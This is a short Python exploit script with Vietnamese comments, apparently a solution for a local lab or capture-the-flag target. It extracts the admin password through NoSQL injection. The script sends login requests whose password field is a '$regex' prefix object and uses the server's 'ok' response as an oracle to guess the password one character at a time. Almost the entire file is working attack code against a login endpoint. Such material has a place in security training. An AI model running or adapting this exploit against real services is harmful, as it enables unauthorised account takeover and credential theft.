#!/usr/bin/env python3
"""
Trich mat khau 'admin' tung ky tu bang toan tu $regex (NoSQL injection).
Y tuong: gui {"username":"admin","password":{"$regex":"^<prefix>"}}; neu server
tra ok=true nghia la mat khau bat dau bang <prefix>. Do tung ky tu mot.

Dung: PORT=8024 python3 exploit_regex.py
"""
import os
import re
import json
import string
import urllib.request

PORT = os.environ.get("PORT", "8024")
BASE = "http://127.0.0.1:%s" % PORT
CHARS = string.ascii_letters + string.digits + "_-!@#${}."


def re_escape(c):
    # Chen ky tu vao regex an toan (escape metachar)
    return re.escape(c)


def matches(prefix_regex):
    body = json.dumps({"username": "admin",
                       "password": {"$regex": prefix_regex}}).encode()
    req = urllib.request.Request(BASE + "/login", data=body,
                                 headers={"Content-Type": "application/json"})
    try:
        with urllib.request.urlopen(req, timeout=10) as r:
            return json.loads(r.read()).get("ok") is True
    except urllib.error.HTTPError:
        return False


def main():
    # Xac nhan oracle regex hoat dong
    print("  ^A.*  ->", matches("^A"))
    print("  ^Z.*  ->", matches("^Z"))
    recovered = ""
    while len(recovered) < 64:
        found = None
        for c in CHARS:
            if matches("^" + re_escape(recovered + c)):
                found = c
                break
        if found is None:
            # Khong con ky tu nao noi dai -> da het chuoi (khop toan bo)
            if matches("^" + re_escape(recovered) + "$"):
                break
            else:
                print("  (khong doan tiep duoc, dung lai)")
                break
        recovered += found
        print("  da trich:", recovered)
    print("  => mat khau admin:", recovered)


if __name__ == "__main__":
    main()
